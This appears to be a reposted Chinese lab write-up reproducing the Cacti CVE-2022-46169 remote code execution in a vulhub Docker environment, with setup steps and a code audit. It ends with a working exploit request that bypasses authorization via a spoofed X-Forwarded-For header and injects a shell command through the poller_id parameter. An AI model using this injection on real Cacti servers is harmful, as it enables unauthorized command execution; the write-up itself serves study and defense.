cacti的RCE

一、環境搭建

1、安裝docker

curl -fsSL https://get.docker.com | sh

驗證docker是否正確安裝

docker version

驗證docker compose是否可用

docker compose version

2、在GitHub上拉取?vulhub

首先先裝一個proxychains網絡代理工具,如果直接拉取的話速度會很慢,甚至拉去不下來,用proxychains這個代理工具會快很多

apt-get install proxychains

進入vim? etc/prioxychains.conf編輯

改為自己物理機的IP和代理工具的端口

從GtiHub上用proxychains拉取vulhub

 proxychains git clone https://github.com/vulhub/vulhub

下載成功后進入到/vulhub/cacti/CVE-2022-46169這個目錄下

cd /vulhub/cacti/CVE-2022-46169

啟動容器

docker compose up -d

在瀏覽器輸入127.0.0.1 8080 環境搭建成功

開始安裝,全部下一步就可以

創建一個圖表

二、docker compose up -d網絡報錯的問題

1、調整自己代理工具端口,讓三個端口全部打開,混合端口和proxychains.conf中的要一致

2、創建 Docker 代理配置目錄(如果不存在):

sudo mkdir -p /etc/systemd/system/docker.service.d

3、創建代理配置文件

sudo nano /etc/systemd/system/docker.service.d/http-proxy.conf

4、寫入以下內容(根據你的代理地址修改)

192.168.1.4:7890為物理機IP和代理端口

[Service]
Environment="HTTP_PROXY=http://192.168.1.4:7890"
Environment="HTTPS_PROXY=http://192.168.1.4:7890"
Environment="NO_PROXY=localhost,127.0.0.1"

5、重新加載 systemd 并重啟 Docker

sudo systemctl daemon-reexec
sudo systemctl daemon-reload
sudo systemctl restart docker

6、驗證 Docker 是否已使用代理

sudo systemctl show --property=Environment docker

7、重新運行? ?

docker compose up -d

三、 代碼審計

文件:remote_agent.php

跟進 remote_client_authorized() → 看 如何取客戶端 IP

if (!remote_client_authorized()) {print 'FATAL: You are not authorized to use this service';exit;
}

文件:lib/functions.php 中的 get_client_addr()

結論:只要我們在 HTTP 頭里帶上X-Forwarded-For: 127.0.0.1,get_client_addr() 就會返回 127.0.0.1,而不會繼續看真正的 REMOTE_ADDR。

function get_client_addr() {if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {return trim(array_shift(explode(',', $_SERVER['HTTP_X_FORWARDED_FOR'])));}return $_SERVER['REMOTE_ADDR'];
}

文件:remote_agent.php

文件:remote_agent.php

默認安裝后表里正好有127.0.0.1,于是 校驗通過 → remote_client_authorized() 返回 true

switch (get_request_var('action')) {case 'polldata':poll_for_data(); // 我們的目標函數break;}

poll_for_data()?關鍵片段

文件:remote_agent.php:232-234

get_nfilter_request_var 就是 $_GET[$key] 原樣返回,沒有任何過濾。

$local_data_ids = get_nfilter_request_var('local_data_ids');
$host_id        = get_filter_request_var('host_id');
$poller_id      = get_nfilter_request_var('poller_id');   //可被注入

文件:poll_for_data()?

/script_server.php realtime <poller_id> 這條命令里,$poller_id 就是可控字符串。

case POLLER_ACTION_SCRIPT_PHP:      // action = 2$cactiphp = proc_open(read_config_option('path_php_binary') .' -q ' .$config['base_path'] . '/script_server.php realtime ' .$poller_id,          //直接拼接$cactides,$pipes);

經過數據庫查看,發現id=6時action=2,如果action=2則可以通過BurpSuite抓包寫入文件

"X-Forwarded-For: 127.0.0.1" 
/remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`touch /tmp/pwned`"

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/91336.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/91336.shtml
英文地址,請注明出處:http://en.pswp.cn/web/91336.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Spark SQL 的 SQL 模式和 DSL模式

下面我將詳細講解如何使用 Spark SQL 分別通過 SQL 模式和 DSL&#xff08;Domain Specific Language&#xff09;模式實現 WordCount 功能。WordCount 是大數據處理中的經典案例&#xff0c;主要功能是統計文本中每個單詞出現的次數。準備工作首先需要初始化 SparkSession&…

03 基于sklearn的機械學習-線性回歸、損失函數及其推導

線性回歸 分類的目標變量是標稱型數據&#xff0c;回歸是對連續型的數據做出預測。 一、標稱型數據&#xff08;Nominal Data&#xff09; 標稱型數據屬于分類數據&#xff08;Categorical Data&#xff09; 的一種&#xff0c;用于描述事物的類別或屬性&#xff0c;沒有順序或…

TTS語音合成|f5-tts語音合成服務器部署,實現http訪問

p;?上篇文章分享了如何使用GPT-SoVITS實現一個HTTP服務器&#xff0c;并通過該服務器提供文本到語音&#xff08;TTS&#xff09;服務。今天&#xff0c;我們將進一步探討如何部署另一個強大的TTS模型——f5-tts。這個模型在自然語音生成方面表現出色&#xff0c;具有高度的可…

【Golang】Go語言指針

Go語言指針 文章目錄Go語言指針一、指針1.1、Go語言中的指針1.1.1、指針地址和指針類型1.1.2、指針取值1.1.3、空指針1.1.4、new和make1.1.5、new1.1.6、make1.1.7、new與make的區別一、指針 區別于C/C中的指針&#xff0c;Go語言中的指針不能進行偏移和運算&#xff0c;是安全…

EMC的一些簡單常識

ESD測試比對 & 需要做到動作 試驗&#xff1a; -780系統&#xff0c;板子直流地 和 PE連接&#xff08;主板PE & DC-分開&#xff0c;但是前端板PE & DC-連接&#xff09;&#xff0c;只能承受1K接觸放電。 -780系統&#xff0c;板子直流地 和 PE分開&#xff08;主…

Day4||vue-計算屬性

一.定義概念&#xff1a;基于現有的數據&#xff0c;計算出來的新屬性。依賴的數據變化&#xff0c;自動重新計算。語法&#xff1a;聲明需要放在computed的配置項中&#xff0c;一個計算屬性對于一個函數。使用起來和普通屬性一樣使用{{計算屬性名}}計算屬性->可以將一段求…

編程算法在金融、醫療、教育、制造業等領域的落地案例

隨著人工智能與大數據技術的迅猛發展&#xff0c;編程算法已從理論研究走向實際應用&#xff0c;在金融、醫療、教育、制造業等多個關鍵領域實現了深度落地。這些算法不僅提升了業務效率&#xff0c;還推動了行業智能化轉型。本文將系統性地分析編程算法在四大核心領域的典型應…

vue npm install卡住沒反應

install某個插件的時候&#xff0c;發現卡住不動&#xff0c;可以嘗試以下解決方法 1.使用–verbose查看安裝詳情 npm install consola --verbose2.更換淘寶鏡像&#xff08;一般都是淘寶鏡像正式過期問題&#xff09; 查看當前鏡像 npm config get registry更換淘寶鏡像 第一種…

【Unity3D實例-功能-移動】角色移動-通過WSAD(CharacterController方式)

今天&#xff0c;我們就來聊聊如何在Unity中使用CharacterController組件&#xff0c;讓角色能夠靈活移動&#xff0c;在游戲世界里像風一樣自由奔跑吧。廢話不多說&#xff0c;走&#xff0c;讓我們馬上來一探究竟&#xff01;目錄&#xff1a;1.準備模型2.動畫的處理3.為角色…

AI Agent開發學習系列 - langchain之LCEL(4):Memory

Memory的添加方式 from operator import itemgetterfrom langchain.memory import ConversationBufferMemory from langchain_core.prompts import ChatPromptTemplate, MessagesPlaceholder from langchain_core.runnables import RunnableLambda, RunnablePassthrough from l…

向Coze學習,我們把這些工作流也開源了

要說現在最火的工作流是什么&#xff0c;那非視頻工作流莫屬了。我每天也都能接到不少咨詢短視頻工作流的需求。 這大半年來我們團隊也制作和整理了超過 100 工作流&#xff0c;其中很大一部分都是現在最火的視頻工作流。 為了向Coze開源致敬&#xff0c;這次我們斑碼團隊也決…

Git 從零開始:完整項目上傳指南

一、準備工作 1. 安裝 Git Windows&#xff1a;下載安裝包macOS&#xff1a;在終端運行 brew install gitLinux&#xff1a; # Ubuntu/Debian sudo apt update && sudo apt install git# CentOS/Fedora sudo yum install git2. 配置用戶信息&#xff08;首次使用&am…

【AI】入門級提示詞模板:適用于ChatGPT、文心一言等主流模型

入門級提示詞模板&#xff1a;適用于 ChatGPT、文心一言等主流模型**在當下這個人工智能飛速發展的時代&#xff0c;ChatGPT、文心一言等主流大模型已經廣泛地融入到我們的工作與生活當中。不管是創作文章、生成代碼&#xff0c;還是進行數據分析、獲取創意靈感&#xff0c;這些…

如何解決 undetected_chromedriver 啟動慢問題

要解決 undetected_chromedriver 啟動慢的問題&#xff0c;可以從以下幾個方面優化配置和代碼&#xff1a; 1. 指定本地 Chrome 二進制路徑 避免自動搜索 Chrome 路徑&#xff0c;直接指定位置&#xff1a; driver uc.Chrome(browser_executable_pathrC:\Program Files\Google…

Python 程序設計講義(42):組合數據類型——元組類型:創建元組

Python 程序設計講義&#xff08;42&#xff09;&#xff1a;組合數據類型——元組類型&#xff1a;創建元組 目錄Python 程序設計講義&#xff08;42&#xff09;&#xff1a;組合數據類型——元組類型&#xff1a;創建元組一、元組的特征二、創建元組1、使用圓括號&#xff0…

windows 設置 vscode 免密遠程

我們可以使用 vscode ssh 進行遠程編輯文件項目。也可以使用 ssh 密匙 來實現免密登錄。 本人在本地windows系統有多個密匙&#xff0c;使用 D:\SPB_Data\.ssh\id_rsa_local 進行本地設備進行登錄。 在 vscode ssh 配置文件中添加 IdentityFile 配置 Host 本地設備ipHostName …

ubuntu自動搭建Android平臺NDK編譯環境

sh setup_ndk_env.sh自動下載NDK并解壓 提取Android平臺工具鏈 驗證Android工具鏈 設置工具鏈變量 export CROSS_TRIPLE=aarch64_linux_android export CROSS_ROOT=/home/ubuntu/${CROSS_TRIPLE} export ANDROID_NDK=${CROSS_ROOT} export AS=${CROSS_ROOT}/bin/llvm-as exp…

添加捕捉吸附標識(使用QT+OpenGL開發三維CAD)

捕捉吸附標識怎么畫出來&#xff1f;在點吸附的時候能夠展示吸附標識可以讓用戶更直觀的看到當前捕捉點&#xff0c;從而更準確的進行設計和繪制。 效果視頻見原文&#xff1a;添加捕捉吸附標識&#xff08;使用QTOpenGL開發三維CAD&#xff09; 16.Add snap label 鼠標捕捉吸…

元宇宙中的“蟲洞“:技術實現、應用場景與未來挑戰

一、技術定義與核心架構1.1 蟲洞的元宇宙隱喻概念來源&#xff1a;蟲洞在物理學中是連接不同時空的通道&#xff0c;而在元宇宙中&#xff0c;這一概念被引申為連接不同虛擬世界的跨平臺協議。英偉達Omniverse平臺通過USD&#xff08;通用場景描述&#xff09;實現了這一隱喻&a…

使用GIS中基于森林的分類與回歸模型來估算房屋價值

“基于森林的分類與回歸”&#xff0c;它可以幫助分析師有效地設計、測試和部署預測模型。 基于森林的分類與回歸應用了 Leo Breiman 的隨機森林算法&#xff0c;這是一種用于分類和預測的流行監督機器學習方法。該工具允許分析師輕松整合表格屬性、基于距離的要素和解釋柵格來…